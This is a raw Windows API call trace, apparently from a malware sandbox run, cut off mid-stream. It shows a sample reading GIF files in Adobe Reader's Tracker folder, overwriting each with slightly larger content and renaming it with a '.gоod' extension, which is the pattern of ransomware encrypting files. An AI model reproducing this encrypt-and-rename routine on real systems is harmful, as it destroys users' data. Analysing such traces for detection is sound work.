(in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif", lpFilePart=0x0) returned 0x54 [0125.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif.gоod", lpFilePart=0x0) returned 0x59 [0125.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0125.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x47043b05, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x390)) returned 1 [0125.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0125.758] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif.gоod")) returned 1 [0125.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif", lpFilePart=0x0) returned 0x44 [0125.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0125.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif"), fInfoLevelId=0x0, lpFileInformation=0x35792d0 | out: lpFileInformation=0x35792d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55)) returned 1 [0125.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0125.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif", lpFilePart=0x0) returned 0x44 [0125.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0125.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.759] GetFileType (hFile=0x618) returned 0x1 [0125.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0125.759] GetFileType (hFile=0x618) returned 0x1 [0125.759] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x55 [0125.759] ReadFile (in: hFile=0x618, lpBuffer=0x35795b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x35795b0*, lpNumberOfBytesRead=0x1f35bf48*=0x55, lpOverlapped=0x0) returned 1 [0125.760] CloseHandle (hObject=0x618) returned 1 [0126.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0126.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0126.319] GetFileType (hFile=0x630) returned 0x1 [0126.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0126.319] GetFileType (hFile=0x630) returned 0x1 [0126.319] WriteFile (in: hFile=0x630, lpBuffer=0x3aeb868*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3aeb868*, lpNumberOfBytesWritten=0x1f35be58*=0x60, lpOverlapped=0x0) returned 1 [0126.320] CloseHandle (hObject=0x630) returned 1 [0126.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif", lpFilePart=0x0) returned 0x44 [0126.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif.gоod", lpFilePart=0x0) returned 0x49 [0126.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0126.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x47829782, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0126.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0126.320] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif.gоod")) returned 1 [0126.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif", lpFilePart=0x0) returned 0x44 [0126.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0126.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif"), fInfoLevelId=0x0, lpFileInformation=0x3aecaf8 | out: lpFileInformation=0x3aecaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55)) returned 1 [0126.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0126.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif", lpFilePart=0x0) returned 0x44 [0126.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0126.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0126.322] GetFileType (hFile=0x630) returned 0x1 [0126.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0126.322] GetFileType (hFile=0x630) returned 0x1 [0126.322] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x55 [0126.322] ReadFile (in: hFile=0x630, lpBuffer=0x3aecdd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3aecdd8*, lpNumberOfBytesRead=0x1f35bf48*=0x55, lpOverlapped=0x0) returned 1 [0126.323] CloseHandle (hObject=0x630) returned 1 [0127.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0127.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0127.283] GetFileType (hFile=0x618) returned 0x1 [0127.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0127.283] GetFileType (hFile=0x618) returned 0x1 [0127.283] WriteFile (in: hFile=0x618, lpBuffer=0x3642f98*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3642f98*, lpNumberOfBytesWritten=0x1f35be58*=0x60, lpOverlapped=0x0) returned 1 [0127.284] CloseHandle (hObject=0x618) returned 1 [0127.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif", lpFilePart=0x0) returned 0x44 [0127.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif.gоod", lpFilePart=0x0) returned 0x49 [0127.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0127.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x48140717, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0127.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0127.285] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif.gоod")) returned 1 [0127.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif", lpFilePart=0x0) returned 0x47 [0127.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0127.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif"), fInfoLevelId=0x0, lpFileInformation=0x3644228 | out: lpFileInformation=0x3644228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x489)) returned 1 [0127.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0127.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif", lpFilePart=0x0) returned 0x47 [0127.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0127.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0127.286] GetFileType (hFile=0x618) returned 0x1 [0127.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0127.286] GetFileType (hFile=0x618) returned 0x1 [0127.286] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x489 [0127.286] ReadFile (in: hFile=0x618, lpBuffer=0x3644950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3644950*, lpNumberOfBytesRead=0x1f35bf48*=0x489, lpOverlapped=0x0) returned 1 [0127.287] CloseHandle (hObject=0x618) returned 1 [0127.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0127.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.370] GetFileType (hFile=0x630) returned 0x1 [0127.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0127.370] GetFileType (hFile=0x630) returned 0x1 [0127.370] WriteFile (in: hFile=0x630, lpBuffer=0x34c26c8*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34c26c8*, lpNumberOfBytesWritten=0x1f35be58*=0x490, lpOverlapped=0x0) returned 1 [0127.371] CloseHandle (hObject=0x630) returned 1 [0127.371] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif", lpFilePart=0x0) returned 0x47 [0127.371] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif.gоod", lpFilePart=0x0) returned 0x4c [0127.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0127.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x482290ff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0127.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0127.371] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif.gоod")) returned 1 [0127.372] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif", lpFilePart=0x0) returned 0x5e [0127.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0127.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif"), fInfoLevelId=0x0, lpFileInformation=0x34c3968 | out: lpFileInformation=0x34c3968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x338)) returned 1 [0127.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0127.373] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif", lpFilePart=0x0) returned 0x5e [0127.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0127.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.373] GetFileType (hFile=0x630) returned 0x1 [0127.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0127.373] GetFileType (hFile=0x630) returned 0x1 [0127.373] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x338 [0127.374] ReadFile (in: hFile=0x630, lpBuffer=0x34c3ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34c3ff8*, lpNumberOfBytesRead=0x1f35bf48*=0x338, lpOverlapped=0x0) returned 1 [0127.375] CloseHandle (hObject=0x630) returned 1 [0127.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0127.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0127.484] GetFileType (hFile=0x61c) returned 0x1 [0127.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0127.484] GetFileType (hFile=0x61c) returned 0x1 [0127.484] WriteFile (in: hFile=0x61c, lpBuffer=0x35ecb48*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35ecb48*, lpNumberOfBytesWritten=0x1f35be58*=0x340, lpOverlapped=0x0) returned 1 [0127.485] CloseHandle (hObject=0x61c) returned 1 [0127.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif", lpFilePart=0x0) returned 0x5e [0127.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.gоod", lpFilePart=0x0) returned 0x63 [0127.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0127.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x48330396, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0127.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0127.485] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif.gоod")) returned 1 [0127.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif", lpFilePart=0x0) returned 0x5b [0127.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0127.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif"), fInfoLevelId=0x0, lpFileInformation=0x35ede68 | out: lpFileInformation=0x35ede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3e3)) returned 1 [0127.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0127.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif", lpFilePart=0x0) returned 0x5b [0127.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0127.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0127.487] GetFileType (hFile=0x61c) returned 0x1 [0127.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0127.487] GetFileType (hFile=0x61c) returned 0x1 [0127.487] 